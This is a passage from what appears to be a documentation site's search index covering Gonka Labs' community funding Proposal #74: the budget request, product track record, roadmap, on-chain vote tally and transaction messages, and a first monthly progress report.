This list is a working draft. Every month we'll publish a progress report on GitHub Discussions and re-evaluate priorities based on community feedback and on-chain signals. If the network needs something more urgently, that's what gets built next. And if the community asks for something directly — the way they asked for the RPC aggregator, the block explorer, the faucet — we build it. That's always been how we work.
Gonkablocks, meter.gonka.gg, and every other project we've shipped will continue to receive bug fixes and maintenance. If any of them gains serious traction, it moves up the priority list — this proposal gives us the runway to act on those signals without scrambling for resources.
"}, {"location": "proposals/proposals/2026-q2/74/#team-growth", "title": "Team Growth", "text": "We started as three engineers and shipped 16+ products. Imagine what we can do with a larger team.
Current team (3): Tim, Mike, Artem — full-stack engineers who built everything from scratch.
Target team (3–5 by end of 2026): Up to two additional engineers — backend and mobile — to support growing infrastructure.
A larger team means faster iteration, better uptime, more products, and dedicated support for the community.
"}, {"location": "proposals/proposals/2026-q2/74/#accountability", "title": "Accountability", "text": "We believe in transparency and accountability. Here's how we'll keep the community informed:
We're not asking you to trust us blindly — we're asking you to judge us by our work. We've shipped 16+ products in 6 months. The code is open. The metrics are real. And we're just getting started.
"}, {"location": "proposals/proposals/2026-q2/74/#your-vote-matters", "title": "Your Vote Matters", "text": "This proposal can only move forward with your vote. Gonka is a decentralized network, and every decision about how community funds are spent belongs to the community.
Vote YES if: You believe Gonka Labs has demonstrated consistent value to the ecosystem and deserves continued funding to scale its impact.
Vote NO if: You think the ask is too high, the roadmap isn't convincing, or you'd prefer to see funds allocated differently. Your voice matters either way.
"}, {"location": "proposals/proposals/2026-q2/74/#voting-is-now-live", "title": "Voting is now live", "text": "On-chain voting for this proposal is open. View and vote on gonka.gg/network/proposals/74.
Vote Now · Proposal #74 on gonka.gg
"}, {"location": "proposals/proposals/2026-q2/74/#summary", "title": "Summary", "text": "Item Detail USDT request 70,000 USDT (single payment) GNK request 330,000 GNK (180-day linear vesting) USDT breakdown 40,000 server infrastructure + 30,000 dev & ops GNK breakdown Team payment, linear vesting over 180 days Vesting transparency Public on-chain contract, verifiable by anyone Focus products rpc.gonka.gg · proxy.gonka.gg · gonka.gg · Gonka App · Gonkavote Duration 6 months (180 days from approval) Decision Community governance vote"}, {"location": "proposals/proposals/2026-q2/74/#final-tally", "title": "Final Tally", "text": "Yes 305,163 (79.6%) No 3,791 (1.0%) Veto 15 (0.0%) Abstain 74,304 (19.4%) Total 383,273 votes"}, {"location": "proposals/proposals/2026-q2/74/#messages", "title": "Messages", "text": "# Type 1/cosmwasm.wasm.v1.MsgExecuteContract 2 /inference.streamvesting.MsgTransferWithVesting Contract Details [\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"70000000000\",\n \"recipient\": \"gonka16j4zv6723mrnycwn0qgw0j48dr9qecyclxg5jh\"\n }\n },\n \"funds\": []\n },\n {\n \"@type\": \"/inference.streamvesting.MsgTransferWithVesting\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka16j4zv6723mrnycwn0qgw0j48dr9qecyclxg5jh\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"330000000000000\"\n }\n ],\n \"vesting_epochs\": \"180\"\n }\n]\nДата публикации: 2026-07-18 18:31 UTC
Источник: Discussion #1477 — Gonka Labs - Monthly Report No.1
"}, {"location": "proposals/proposals/2026-q2/74/#_2", "title": "#74 – Gonka Labs: Maintaining Infrastructure, Improving Products, and Launching New Ones", "text": "Hey! Gonka Labs here.
On June 12th the community passed Proposal #74. That vote funded the next stretch of work - infra, ops, and shipping products for the ecosystem.
This is the first public progress report we promised in the proposal (monthly updates on GitHub Discussions). Short version of what landed so far:
We already announced the launch here: OpenBroker - broker for brokers or Devshards as a service (Jun 23).
Quick recap: OpenBroker is managed DevShards-as-a-service. Register, deposit GNK, get an obk-* key, point any OpenAI client at https://api.openbroker.gonka.gg/v1 (UI at https://openbroker.gonka.gg). No wallet whitelist dance, no running your own escrow rotation. GNK billing with no markup. Public stats at https://openbroker.gonka.gg/stats.
mainnet-v0.2.13-v3-post1, route prefix /devshard/v3, 50/50 sticky split behind the router. OpenBroker was already on the v1/v2 path at launch; we completed the network-mandated v3 cutover ahead of the v0.2.14 deadline so brokers do not fall off when classic /v1/devshard goes awayGET /v1/usage and GET /v1/usage/{id} so integrators can pull request-level cost/token data without scraping the UIThanks for the sharp measurements. Where we landed so far:
GET /v1/usage/{id} so you can see whether a request settled, what tokens/cost we recorded, and the FinalCost snapshot when the gateway returns it/v1/models /v1/models /v1/models - still on the polish list (model ids are also in docs / 400 text); not blocking chat completionsOpenBroker is also doing what the launch post promised: shake out new DevShard versions at production scale. v3 on our gateways was exactly that - migrate, smoke /devshard/v3, keep MiniMax brokers online through the cutover.
Links:
Pulse is the live media + sentiment dashboard for Gonka (see it as a backbone and a part of proposal item named MTD / Marketing Transparency Dashboard - we shipped essential part that does data gathering first). It pulls public Gonka coverage from X, Instagram, YouTube, and the web into one place, scores tone via Gonka LLMs (proxy.gonka.gg), and shows activity / reach / engagement next to GNK market data. Built so anyone can see what the ecosystem is saying without opening ten tabs.
Live: https://pulse.gonka.gg
"}, {"location": "proposals/proposals/2026-q2/74/#what-shipped", "title": "What shipped", "text": "Proposal #74 called out demand activation and making Gonka easier to follow for non-technical users. Pulse is a part of that \"transparency layer\" - a public pulse of coverage, tone, and creators, wired into gonka.gg and backed by Networks collective inference stack.
"}, {"location": "proposals/proposals/2026-q2/74/#3-gonkagg-bugs-product-work", "title": "3. gonka.gg - bugs + product work", "text": "Explorer side of the proposal was \"gonka.gg V2.0\" - faster engine, better UI, mobile, accurate GPU/inference metrics. We are not done with that part of roadmap yet, but a lot of the painful day-to-day stuff is already fixed and several new surfaces shipped.
"}, {"location": "proposals/proposals/2026-q2/74/#qa-bug-smash-240", "title": "QA bug smash (~240)", "text": "We ran a dedicated desktop + mobile QA pass with an external unbiased audit, and closed on the order of ~240 tracker bugs (desktop tracker version into the 170s, mobile into the 60s - still an ongoing flow since we ship new features that are getting QA tested as well).
Rough shape of what that covered:
Shipped across a long streak of QA PRs and multiple levels of sanity checks. Not glamorous, but this is the difference between \"works for some people\" and \"works for 70% of 10k+ people a day on phones\".
"}, {"location": "proposals/proposals/2026-q2/74/#product-data-updates-on-gonkagg-since-the-vote", "title": "Product / data updates on gonka.gg (since the vote)", "text": "Inference after DevShards (v0.2.12+)
devshard-poller that ingests off-chain session diffs into ClickHouse (the chain no longer emits per-inference txs the old way) and is properly aligned with V3 flow, and is optimized to not make heavy load for the network (overall produced load caused by data ingestion went down X27k)./network/inference (Inference tab) is driven from that pipeline - 24h stats, gateway traffic, timelines./devshard/v3 and union live shard inventories so traffic does not silently drop when gateways switch).Network analytics
/network - weight distribution across AI models per epoch, with an all-epochs view (Redis-cached so it stays fast).Token holders
Infra behind the explorer (also see section 4)
Explorer: https://gonka.gg Inference: https://gonka.gg/network/inference Network: https://gonka.gg/network
"}, {"location": "proposals/proposals/2026-q2/74/#why-it-matters", "title": "Why it matters", "text": "Faster deploys, less risk of a bugfix taking down indexing, room to run the heavier pre-compute work from the V2 explorer roadmap.
"}, {"location": "proposals/proposals/2026-q2/74/#4-proxygonkagg-b2b-inference-public-status", "title": "4. proxy.gonka.gg - B2B inference + public status", "text": "proxy.gonka.gg is our OpenAI-compatible inference proxy on top of Gonka DevShards - API keys, balances, usage, docs, chat playground. Public API at https://api.proxy.gonka.gg/v1. Pulse (and other Gonka Labs apps) call the same stack for LLM work, so when we harden the proxy we harden half the product surface too.
"}, {"location": "proposals/proposals/2026-q2/74/#numbers-as-of-jul-18_1", "title": "Numbers (as of Jul 18)", "text": "Measured window below is since the Jul 4 dedicated-server migrate (usage DB moved with the stack - earlier Railway and even earlier Qupra DC history is not in this series). The product itself was already live before Proposal #74.
api.proxy.gonka.gg) - moved off the flaky VPS / and too unreliable Railway path onto a tuned server with local Postgres, own DevShard gateway, Proxy edge for the API. Frontend stays on other host at proxy.gonka.gg with rewrites into the API.mainnet-v0.2.13-v3-post1, route /devshard/v3) ahead of the network v0.2.14 deadline - blue/green cutover with a temp gateway + drain so in-flight MiniMax traffic survived the switch. Currently 32+32 (64 inflight escrows) active v3 escrows (MiniMax + Kimi)Proposal #74 called out proxy.gonka.gg as the B2B / analytics lane. This stretch was less \"new landing page\" and more \"make the pipe carry real load\": multi-billion token days, a public status surface customers can trust, and staying on the current DevShard protocol so keys do not die when classic /v1/devshard goes away. Same gateway lessons feed OpenBroker - one network path. More \"b2b\" work ahead.
Links:
We are still heads-down on the rest of the Proposal #74 checklist - hardening infra under real load, polishing what already shipped, and building the next products on the list. More updates as they land. Stay tuned.
"}, {"location": "proposals/proposals/2026-q2/74/#links", "title": "Links", "text": "Feedback welcome in the thread - what should we prioritize next month from the proposal list?
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/", "title": "Community Funding Proposal — Gonka Labs — Year One", "text": "Authors: Tim, Mike, Artem Subject to governance vote
A request for 70,000 USDT + 330,000 GNK (180-day vesting) from the Gonka community pool to fund enterprise-grade improvements to our core infrastructure products — aligned with the Gonka Network Development Roadmap.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#overview", "title": "Overview", "text": "Gonka Labs is requesting 70,000 USDT + 330,000 GNK with Vesting from the Gonka community pool. We've already shipped 16+ products — all without external funding. The core of this proposal is taking what we have to enterprise grade, plus two new products: G-Router — an OpenRouter-style layer that unifies access to all Gonka inference providers behind a single endpoint — and MTD (Marketing Transparency Dashboard).
This is not payment for past work. The first 6 months of Gonka Labs — everything you see in the track record — were self-funded. We don't ask for compensation for what's already done. This proposal funds the next 6 months of Gonka Labs building for the ecosystem — together wrapping a full year of us building.
The 6 months are five focused products: gonka.gg V2.0 (new high-performance engine), proxy.gonka.gg (B2B inference portal with analytics), rpc.gonka.gg (multi-provider aggregation, SLA), Gonka App (iOS + Android superapp), and Gonkavote (expanded governance tooling).
70,000 USDT is released in a single payment upon approval — covers server infrastructure and operations for the 6 months ahead. 330,000 GNK vests over 180 days — team payment for future work, verifiable on-chain.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#what-the-network-gets", "title": "What the network gets", "text": "All improvements target Gonka's core goals: accelerating adoption, lowering entry barriers, and institutional maturity. Institutional maturity means the network gains public uptime SLAs, open-source infrastructure layers, enterprise-grade API reliability, auditable governance processes, and transparent accountability — the signals validators, large integrators, and institutional participants need to take Gonka seriously. A more mature network is more valuable for every participant.
Aligned with the Gonka Network Development Roadmap
We built Gonka Labs products as non-commercial builders — no ads, no third-party product placements, no PR slots for sale. Any fees cover infrastructure and operational costs only — no commercial margins, no revenue extraction. All current ecosystem products will remain non-commercial. Where pricing exists, it stays at the average level across the Gonka network.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#who-we-are", "title": "Who We Are", "text": "Gonka Labs is a three-person engineering team — Tim, Mike, and Artem — that has been building infrastructure for the Gonka ecosystem since December 2025. We stumbled upon an interview with the Gonka founders, and their enthusiasm was astonishing. On December 12, 2025, we launched gonka.gg — the first blockchain explorer for Gonka.
We asked the community: \"What tools and services do we lack the most?\" — and then built them. One by one. Every single product started as a community request.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#track-record", "title": "Track Record", "text": "In under 6 months, with zero external funding, we shipped 16+ products and published 15 public open-source repositories. Here's what's live today:
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#gonkagg", "title": "Gonka.gg", "text": "Block explorer + analytics platform. 5,000+ daily users, 2M+ API requests/day, 270M+ transactions indexed. A single home for everything Gonka, with nine sub-products inside: Block Explorer, Transactions, Participants, Inference Map, Slashing Monitor, Faucet, Reward Calculator, Node Tracker, Full GPU History.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#rpcgonkagg", "title": "rpc.gonka.gg", "text": "Managed RPC infrastructure. 400+ endpoints across 6 surfaces. ClickHouse-indexed, up to 110x faster than raw RPC.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#proxy", "title": "Proxy", "text": "Cloud-hosted OpenAI-compatible API for Gonka inference at proxy.gonka.gg. 1–2B tokens served daily.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#gonka-app", "title": "Gonka App", "text": "Open-source Chrome extension wallet with GNS integration, governance, IBC tokens, and dApp provider. 700+ users. gonkalabs/ggwallet
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#gonka-name-service", "title": "Gonka Name Service", "text": "On-chain human-readable .gnk names. 4,000+ registered. Integrated across all our products. gonkalabs/gns
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#opengnk", "title": "OpenGNK", "text": "Self-hosted OpenAI-compatible proxy for Gonka inference. 400+ installs. Tool calling, privacy sanitization. gonkalabs/opengnk
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#gonkablocks", "title": "Gonkablocks", "text": "No-code AI tools platform on Gonka inference at blocks.gonka.gg. Pick a ready-made tool — Hive-Research, translator, summarizer, transcriber, and more — paste input, hit Run. No API keys, no registration, free for everyone.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#gonkavotecom", "title": "Gonkavote.com", "text": "Pre-vote governance signaling tool at gonkavote.com. Gauge community sentiment on a proposal before it goes to on-chain vote. gonkalabs/prevote
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#g-meter", "title": "G-Meter", "text": "Network performance metrics dashboard at meter.gonka.gg. Real-time latency, throughput, and health monitoring across the Gonka network. gonkalabs/gmeter
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#feather", "title": "Feather", "text": "Lightweight, open-source Gonka RPC node anyone can run. Designed for low-resource hardware and self-hosted setups. gonkalabs/feather
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#tx-scanner", "title": "Tx-Scanner", "text": "Open-source blockchain indexer that accumulates millions of Gonka transactions and serves them with sub-second API latency. Powers gonka.gg. gonkalabs/tx-scanner
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#gonka-agent", "title": "Gonka Agent", "text": "Open-source agent toolkit for building autonomous workflows on top of Gonka inference. gonkalabs/gonka-agent
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#contract-playground", "title": "Contract Playground", "text": "Write, compile, simulate, and deploy CosmWasm smart contracts entirely in the browser. gonkalabs/wasm-cloud-compiler
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#gonkaclaw", "title": "GonkaClaw", "text": "One-command AI agent setup powered by Gonka inference. gonkalabs/gonkaclaw
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#ready-set-gonka", "title": "Ready Set Gonka", "text": "Community project directory for the Gonka ecosystem at readysetgonka.com.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#gonka-restitution-committee-grc", "title": "Gonka Restitution Committee (GRC)", "text": "Gonka Labs serves on the GRC — the community body investigating incidents where miners lost rewards and facilitating their restoration. We build open-source tooling for case intake, auditing, and resolution, and publish all findings publicly.
Miner Restitution · Open Audits · Community Work — GRC-intake-form, GRC-e267-kimi_shortfall, GRC-e247-preserver-audit
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#built-in-the-open", "title": "Built in the open", "text": "15 public repositories at github.com/gonkalabs — over 80% of our code. Inspect, fork, run, and contribute. The infrastructure powering the Gonka ecosystem is yours to audit.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#why-this-proposal", "title": "Why This Proposal", "text": "Everything we've built so far has been self-funded. We've been running on personal savings and enthusiasm. That model works for prototypes — it doesn't work for enterprise infrastructure.
We built Gonka Labs products as non-commercial builders. No ads, no third-party product placement, no PR slots for sale. All current ecosystem products will remain non-commercial — just tools the ecosystem needs.
The Gonka ecosystem is growing. rpc.gonka.gg is the default Keplr wallet RPC. proxy.gonka.gg serves 1–2B inference tokens daily — and growing. gonka.gg is the biggest block explorer in Gonka, serving 5,000+ users daily — it is usually the primary entry point where new users first land when they want to understand or onboard into the Gonka network. The services are real, the load is real, and the quality bar needs to match. We want to:
We're not asking for money to start building — we're asking for money to keep building at a higher standard. The track record speaks for itself.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#the-ask", "title": "The Ask", "text": "70,000 USDT + 330,000 GNK 6 months of infra & ops / 180-day vesting
From the Gonka community pool · Subject to governance vote
Both components — USDT and GNK — are forward payment for work ahead, not payment for the past. The USDT covers 6 months of server infrastructure and operational costs. The GNK is the team's primary payment — vesting linearly over 180 days. Both are transparent and on-chain from day one.
This is the minimum for enterprise-grade infrastructure, service quality at the level we're committing to, and team payment for the work ahead.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#disbursement-mechanism", "title": "Disbursement Mechanism", "text": "The proposal uses a two-component structure. The USDT portion is released immediately on approval to cover infrastructure and operations. The GNK portion vests linearly on-chain over 180 days — this is the team's primary payment for their work and directly aligns our incentives with the health of the network.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#1-half-a-year-of-infra-and-ops-70000-usdt", "title": "1. Half a year of infra and ops — 70,000 USDT", "text": "Released to Gonka Labs immediately after governance approval. Covers 6 months of bare-metal hosting (ClickHouse clusters, CDN, RPC node bandwidth), monitoring stack, operational expenses, and a portion allocated directly to the team as a guaranteed stablecoin payment for their work.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#2-gnk-locked-in-180-day-linear-vesting-330000-gnk", "title": "2. GNK locked in 180-day linear vesting — 330,000 GNK", "text": "Locked in vesting. Released over 180 days. This is the team's payment for future work — paid in GNK, vested, verifiable on-chain. The longer the network grows, the more our GNK payment is worth. That's the alignment.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#budget-breakdown", "title": "Budget Breakdown", "text": ""}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#usdt-70000-usdt-total", "title": "USDT — 70,000 USDT total", "text": "57% — Server Infrastructure — 40,000 USDT 6 months of bare-metal and cloud hosting: ClickHouse indexer clusters (270M+ transactions), CDN, RPC node bandwidth (rpc.gonka.gg), seriously refactored proxy.gonka.gg infrastructure to handle commercial loads, uptime monitoring, DDoS protection, SSL. These costs are fixed and non-negotiable for any production service.
43% — Development & Operations — 30,000 USDT CI/CD pipeline costs and build minutes. AI coding tools and subscriptions (used daily across the entire engineering workflow). Security scanning and vulnerability tooling. Load testing infrastructure for the proxy and RPC layers. Domain management, SSL, and certificate automation. Legal and compliance overhead. Community support tooling and documentation platform. Communications and project management for a distributed team over 6 months. App Store and Google Play developer accounts. A portion of this budget is allocated as a direct stablecoin payment to the engineering team — a small guaranteed base on top of GNK vesting, because we believe Gonka will thrive but we still have real bills.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#where-the-monthly-usdt-goes", "title": "Where the monthly USDT goes", "text": "70,000 USDT over 6 months is roughly 11,600 USDT per month. The majority covers infrastructure and operations. A portion of the 30,000 USDT Development & Operations budget goes directly to the engineering team as a guaranteed stablecoin payment — a small stable base on top of GNK. The rest funds the full dev and ops stack below:
Line Item Description Servers & cloud (IaaS) Bare-metal and cloud compute for indexers, RPC nodes, and API backends. The biggest hidden line item is data egress — outbound traffic is billed per GB, and we serve 2M+ API requests per day. Managed databases ClickHouse clusters with replication — 270M+ indexed transactions and growing daily. Storage, RAM, and query compute scale with the chain. Network & CDN Cloudflare and edge caching in front of every public endpoint. Security WAF, DDoS protection, SSL certificates, secrets management. Non-negotiable for services that wallets depend on. Observability Uptime monitoring, alerting, log aggregation, error tracking. Quietly becomes the second-largest cloud expense in most production setups — ours included. Development & DevOps GitHub organization, CI/CD runners, build and staging environments. SaaS & operations Communication, helpdesk, mail, and productivity tooling for the team and community support. Backups & disaster recovery Off-site snapshots of every database and config, with tested restores. Boring until the day it isn't."}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#gnk-330000-gnk-180-day-linear-vesting", "title": "GNK — 330,000 GNK (180-day linear vesting)", "text": "100% — Team Payment — 330,000 GNK Payment for the future work of Tim, Mike, and Artem over 180 days. Distributed in GNK with linear vesting. The GNK structure means our economic outcome is directly tied to network performance and ecosystem health — we win when Gonka wins.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#roadmap-deliverables", "title": "Roadmap & Deliverables", "text": "Five core products hardened to enterprise grade. Six months. Plus two new products: G-Router — a multi-broker inference router (OpenRouter-style experience across all Gonka inference providers — a direct implementation of Track 2, Project 2 from the Gonka Network Development Roadmap) and MTD — Marketing Transparency Dashboard. Each product below has specific, concrete deliverables. This roadmap is not final — priorities will be re-evaluated with the community each month based on actual network needs.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#rpcgonkagg-multi-provider-rpc-aggregation-enterprise-reliability", "title": "rpc.gonka.gg — Multi-provider RPC aggregation & enterprise reliability", "text": "Gonka Roadmap: Track 4: Network reliability & observability · Track 8: Enterprise workloads
Gonka Roadmap: Track 2: Developer & AI agent access · Track 11: Demand activation · Track 8: Enterprise workloads
Gonka Roadmap: Track 4: Network reliability & observability · Track 11: Demand activation
Gonka Roadmap: Track 2: Developer & AI agent access · Track 11: Demand activation
Gonka Roadmap: Track 12: Community coordination
Already live at gonkavote.com · open-source on GitHub. This proposal expands it further.
Gonka Roadmap: Track 2: Developer & AI agent access
Gonka Roadmap: Track 11: Demand activation & ecosystem growth
Gonka Roadmap: Track 2, Project 2: Adapter for OpenRouter / aggregators — direct 1:1 implementation · Track 11: Demand activation
This list is a working draft. Every month we'll publish a progress report on GitHub Discussions and re-evaluate priorities based on community feedback and on-chain signals. If the network needs something more urgently, that's what gets built next. And if the community asks for something directly — the way they asked for the RPC aggregator, the block explorer, the faucet — we build it. That's always been how we work.
Gonkablocks, meter.gonka.gg, and every other project we've shipped will continue to receive bug fixes and maintenance. If any of them gains serious traction, it moves up the priority list — this proposal gives us the runway to act on those signals without scrambling for resources.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#team-growth", "title": "Team Growth", "text": "We started as three engineers and shipped 16+ products. Imagine what we can do with a larger team.
Current team (3): Tim, Mike, Artem — full-stack engineers who built everything from scratch.
Target team (3–5 by end of 2026): Up to two additional engineers — backend and mobile — to support growing infrastructure.
A larger team means faster iteration, better uptime, more products, and dedicated support for the community.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#accountability", "title": "Accountability", "text": "We believe in transparency and accountability. Here's how we'll keep the community informed:
We're not asking you to trust us blindly — we're asking you to judge us by our work. We've shipped 16+ products in 6 months. The code is open. The metrics are real. And we're just getting started.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#your-vote-matters", "title": "Your Vote Matters", "text": "This proposal can only move forward with your vote. Gonka is a decentralized network, and every decision about how community funds are spent belongs to the community.
Vote YES if: You believe Gonka Labs has demonstrated consistent value to the ecosystem and deserves continued funding to scale its impact.
Vote NO if: You think the ask is too high, the roadmap isn't convincing, or you'd prefer to see funds allocated differently. Your voice matters either way.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#voting-is-now-live", "title": "Voting is now live", "text": "On-chain voting for this proposal is open. View and vote on gonka.gg/network/proposals/74.
Vote Now · Proposal #74 on gonka.gg
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#summary", "title": "Summary", "text": "Item Detail USDT request 70,000 USDT (single payment) GNK request 330,000 GNK (180-day linear vesting) USDT breakdown 40,000 server infrastructure + 30,000 dev & ops GNK breakdown Team payment, linear vesting over 180 days Vesting transparency Public on-chain contract, verifiable by anyone Focus products rpc.gonka.gg · proxy.gonka.gg · gonka.gg · Gonka App · Gonkavote Duration 6 months (180 days from approval) Decision Community governance vote"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#_1", "title": "Отчёты", "text": "Gonka Labs — Monthly Report No.1 · Открыть отдельной страницейДата публикации: 2026-07-18 18:31 UTC
Источник: Discussion #1477 — Gonka Labs - Monthly Report No.1
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#_2", "title": "Community Funding Proposal — Gonka Labs — Year One", "text": "Hey! Gonka Labs here.
On June 12th the community passed Proposal #74. That vote funded the next stretch of work - infra, ops, and shipping products for the ecosystem.
This is the first public progress report we promised in the proposal (monthly updates on GitHub Discussions). Short version of what landed so far:
We already announced the launch here: OpenBroker - broker for brokers or Devshards as a service (Jun 23).
Quick recap: OpenBroker is managed DevShards-as-a-service. Register, deposit GNK, get an obk-* key, point any OpenAI client at https://api.openbroker.gonka.gg/v1 (UI at https://openbroker.gonka.gg). No wallet whitelist dance, no running your own escrow rotation. GNK billing with no markup. Public stats at https://openbroker.gonka.gg/stats.
mainnet-v0.2.13-v3-post1, route prefix /devshard/v3, 50/50 sticky split behind the router. OpenBroker was already on the v1/v2 path at launch; we completed the network-mandated v3 cutover ahead of the v0.2.14 deadline so brokers do not fall off when classic /v1/devshard goes awayGET /v1/usage and GET /v1/usage/{id} so integrators can pull request-level cost/token data without scraping the UIThanks for the sharp measurements. Where we landed so far:
GET /v1/usage/{id} so you can see whether a request settled, what tokens/cost we recorded, and the FinalCost snapshot when the gateway returns it/v1/models /v1/models /v1/models - still on the polish list (model ids are also in docs / 400 text); not blocking chat completionsOpenBroker is also doing what the launch post promised: shake out new DevShard versions at production scale. v3 on our gateways was exactly that - migrate, smoke /devshard/v3, keep MiniMax brokers online through the cutover.
Links:
Pulse is the live media + sentiment dashboard for Gonka (see it as a backbone and a part of proposal item named MTD / Marketing Transparency Dashboard - we shipped essential part that does data gathering first). It pulls public Gonka coverage from X, Instagram, YouTube, and the web into one place, scores tone via Gonka LLMs (proxy.gonka.gg), and shows activity / reach / engagement next to GNK market data. Built so anyone can see what the ecosystem is saying without opening ten tabs.
Live: https://pulse.gonka.gg
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#what-shipped", "title": "What shipped", "text": "Proposal #74 called out demand activation and making Gonka easier to follow for non-technical users. Pulse is a part of that \"transparency layer\" - a public pulse of coverage, tone, and creators, wired into gonka.gg and backed by Networks collective inference stack.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#3-gonkagg-bugs-product-work", "title": "3. gonka.gg - bugs + product work", "text": "Explorer side of the proposal was \"gonka.gg V2.0\" - faster engine, better UI, mobile, accurate GPU/inference metrics. We are not done with that part of roadmap yet, but a lot of the painful day-to-day stuff is already fixed and several new surfaces shipped.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#qa-bug-smash-240", "title": "QA bug smash (~240)", "text": "We ran a dedicated desktop + mobile QA pass with an external unbiased audit, and closed on the order of ~240 tracker bugs (desktop tracker version into the 170s, mobile into the 60s - still an ongoing flow since we ship new features that are getting QA tested as well).
Rough shape of what that covered:
Shipped across a long streak of QA PRs and multiple levels of sanity checks. Not glamorous, but this is the difference between \"works for some people\" and \"works for 70% of 10k+ people a day on phones\".
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#product-data-updates-on-gonkagg-since-the-vote", "title": "Product / data updates on gonka.gg (since the vote)", "text": "Inference after DevShards (v0.2.12+)
devshard-poller that ingests off-chain session diffs into ClickHouse (the chain no longer emits per-inference txs the old way) and is properly aligned with V3 flow, and is optimized to not make heavy load for the network (overall produced load caused by data ingestion went down X27k)./network/inference (Inference tab) is driven from that pipeline - 24h stats, gateway traffic, timelines./devshard/v3 and union live shard inventories so traffic does not silently drop when gateways switch).Network analytics
/network - weight distribution across AI models per epoch, with an all-epochs view (Redis-cached so it stays fast).Token holders
Infra behind the explorer (also see section 4)
Explorer: https://gonka.gg Inference: https://gonka.gg/network/inference Network: https://gonka.gg/network
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#why-it-matters", "title": "Why it matters", "text": "Faster deploys, less risk of a bugfix taking down indexing, room to run the heavier pre-compute work from the V2 explorer roadmap.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#4-proxygonkagg-b2b-inference-public-status", "title": "4. proxy.gonka.gg - B2B inference + public status", "text": "proxy.gonka.gg is our OpenAI-compatible inference proxy on top of Gonka DevShards - API keys, balances, usage, docs, chat playground. Public API at https://api.proxy.gonka.gg/v1. Pulse (and other Gonka Labs apps) call the same stack for LLM work, so when we harden the proxy we harden half the product surface too.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#numbers-as-of-jul-18_1", "title": "Numbers (as of Jul 18)", "text": "Measured window below is since the Jul 4 dedicated-server migrate (usage DB moved with the stack - earlier Railway and even earlier Qupra DC history is not in this series). The product itself was already live before Proposal #74.
api.proxy.gonka.gg) - moved off the flaky VPS / and too unreliable Railway path onto a tuned server with local Postgres, own DevShard gateway, Proxy edge for the API. Frontend stays on other host at proxy.gonka.gg with rewrites into the API.mainnet-v0.2.13-v3-post1, route /devshard/v3) ahead of the network v0.2.14 deadline - blue/green cutover with a temp gateway + drain so in-flight MiniMax traffic survived the switch. Currently 32+32 (64 inflight escrows) active v3 escrows (MiniMax + Kimi)Proposal #74 called out proxy.gonka.gg as the B2B / analytics lane. This stretch was less \"new landing page\" and more \"make the pipe carry real load\": multi-billion token days, a public status surface customers can trust, and staying on the current DevShard protocol so keys do not die when classic /v1/devshard goes away. Same gateway lessons feed OpenBroker - one network path. More \"b2b\" work ahead.
Links:
We are still heads-down on the rest of the Proposal #74 checklist - hardening infra under real load, polishing what already shipped, and building the next products on the list. More updates as they land. Stay tuned.
"}, {"location": "proposals/proposals/2026-q2/74/full-proposal/#links", "title": "Links", "text": "Feedback welcome in the thread - what should we prioritize next month from the proposal list?
